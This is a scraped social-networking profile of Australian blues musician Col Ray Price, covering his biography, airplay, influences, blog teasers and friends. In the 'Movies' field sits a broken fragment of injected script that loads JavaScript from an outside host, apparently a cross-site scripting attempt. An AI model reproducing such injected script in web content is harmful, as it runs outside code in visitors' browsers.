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 Col Ray Price's Profile |
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House Rockn' Blues |
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| Age: | 44 years old |
| Sex: | Male |
| Location: | Southern New South Wales |
| Country: |  Australia |
| Zodiac: |  Aries (Mar 21 - Apr 19) |
| Last Login: | Apr 19, 2008 (176 days back) |
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About Me |
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| Singer, song writer, performer and independent recording artist.Col Ray has 5 albums out and more on their way. He has a raw old school sound and style of music that sits between Mississippi’s Mountain Country (such as Rufus Thomas Jnr. & R L Burnside) to Chicago’s House Rock’n’ Blues (Hound Dog Taylor & Little Ed & The Blues Imperials).Hi music has been described as “Good rootsy energy and plenty of attack. Attractive hoarse vocals full of personality and feeling” by Bruce Iglauer. Founder of Alligator Records Chicago Ill.Hi music has been played on radio stations around the world. Col Ray’s cover of Tiger Man (Rufus Thomas) went to # 4 on the pop charts in Denmark in 2002 from being played on “It’s Roots Time” out of Belgium.Tiger Man also went to # 9 in South America on an Argentine radio program “Good Time Blues”.Col Ray has had national TV and radio air play in Australia. Both Rage ABC TV and Noise TV SBS had played his film clip “Freight Train”His music has also been played on WXRT FM Chicago Ill. One of the oldest blues radio programs in the world.Col Ray is a blues historian and consultant for the ABC and can be heard from time to time in the different states of Australia talking air on matters of the music, its history and relation to current issues.Col Ray is a member of the Sydney Blues Society and has performed in their Blues Performer Of The Year Competition. As well as playing at some of their functions.Col Ray is also a member of the Blues Foundation Memphis TN. This foundation runs the W C Handy’s each year. As Col Ray is a published blues musician this gives him the right to vote each year in the awards.Col Ray also subscribes to the University of Memphis towards the conservation and preservation of the famous wire recordings of the old blues masters held by the National Libery of CongressCol Ray plays a number of festivals around NSW on a regular basis as well as many venues in the Riverina, Illawarra, Greater Sydney, Central Coast and Hunter Valley.In early 2006 Col Ray was the subject of a film documentary titled. “The Price of the Blues” By Damian Neil, who also filmed his music film clip Freight Train.www.colrayprice.homestead.com www.cdbaby.com/cd/colraypriceProfile Edited by MPS MySpace Editor 2.0 | |
My Interests |
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| www.colrayprice.homestead.comwww.cdbaby.com/cd/colraypriceI am also a stong supporter of the arts. All arts. my family is full af artists, picture, dance and music. There is also a stong anit art movement in my family. Yes a true clash of ideology. I'll let you decide what side of the fence I'm on.I am a proud Zooid Art movement member that's Yianni Johns baby. Bringing art back to the people. be warned, I have no time for thoes arty people who look down their nose at the others like they are some demi-god. Get off your high horse fool. We all have our strong points and our week points. Together we are collectivly known as a communitiy. | |
I'd like to meet:Sam Phillips / Allen Freed / Marie Laveau |
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Music:All roots music. Mainly blues but jazz, Rock'a'Billy, old timey country. Hound Dog Taylor, R L Burnside, Hank Williams 111, Big Joe Turner, Little Ed and the Blues Imperials, Ko Ko Taylor, Brian Stetzer, The Stray Cats, Johnny Cash, Johnny Johnson, Chuck Berry, Jerry Lee Lewis, Little Richard, The Rolling Stones, Sleepy La Beef, Robert Johnson, Bob Brozman, Harry Manx, Dirty Dozen Brass Band, Preservation Hall Jazz Band, C W Stoneking, Rufus Thomas Jnr., Carl Perkins, Junior Brown, Gillian Welsh,Professor Longhair,Louis Jordan,Dr.John,etc.. etc..etc.. |
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Movies:Oh Brother Where Art Thou. Walk The Line. The Price of the Blues. Desperate Man Blues. .... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("..1...{}");}.. |
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Television:Space Ghost Coast to Coast. Spongebob Square Pants. Cartoon Network. The History Channel |
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Heroes:People who dare to be themselves.. |
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My Background and Lifestyle |
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| MaritalStatus: | In a Relationship |
| Ethnicity: | White / Caucasian |
| SexualOrientation: | Straight |
| Smoker: | No |
| Drinker: | No |
| Children: | I don't want kids |
| Occupation: | Entertainer / Musician |
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My Blog |
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Egyptian Antiquities @ The National Gallery. A Must See |
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| I thought i'ld write this while i'm still on a sort of high and buzzing from having been to the Australian National Gallery and just saw the Egyptian Antiquities from the Louve. France.
I have ... Posted by Col Ray Price on Thu, 21 Dec 2006 02:32:00 PST |
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My Quest |
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| the next step in my quest for the single root factor in music.
How stripped back can a song become so that only its soul is left?
A journey back to the essence of rhythm and blues
... Posted by Col Ray Price on Sun, 20 Aug 2006 04:32:00 PST |
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My Friends |
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roya, Boyd Kelly Management, nola, Robert Johnson, Jerry Lee Lewis Official Home of "The Killer", Fat Possum Records, Johnny Cash, Clint Crighton, Zooid, charley patton, Bukka White, Dirty Dozen Brass Band, Preservation Hall Jazz Band, Rosa Parks, Dr. Martin Luther King Jr., Professor Longhair, Triple J Radio, Tom, DONCHEECH, Steven Cravis, kAtE, Homegrown with Monica ~Oz Music~, Sylvain St-Amour, Lisa, the MEDICINE SHOW, Bidgee Blues Club, raven ritings ©, ♥ feathered boo-bluetongue ♥, Summer, Ronnie Capone, Blues Detour, Glen Terry, Gabs, Adam Hole & Marji Curran Trio, Eagle - Better Late Than Never - Out Now, I think, therefore I am dangerous!, ZIGGY ALFONZIC, bridget dj_it "boo!!", Rising Damp, Australian Johnny Cash Show, The Bailey Bros, Rose, Lemvis
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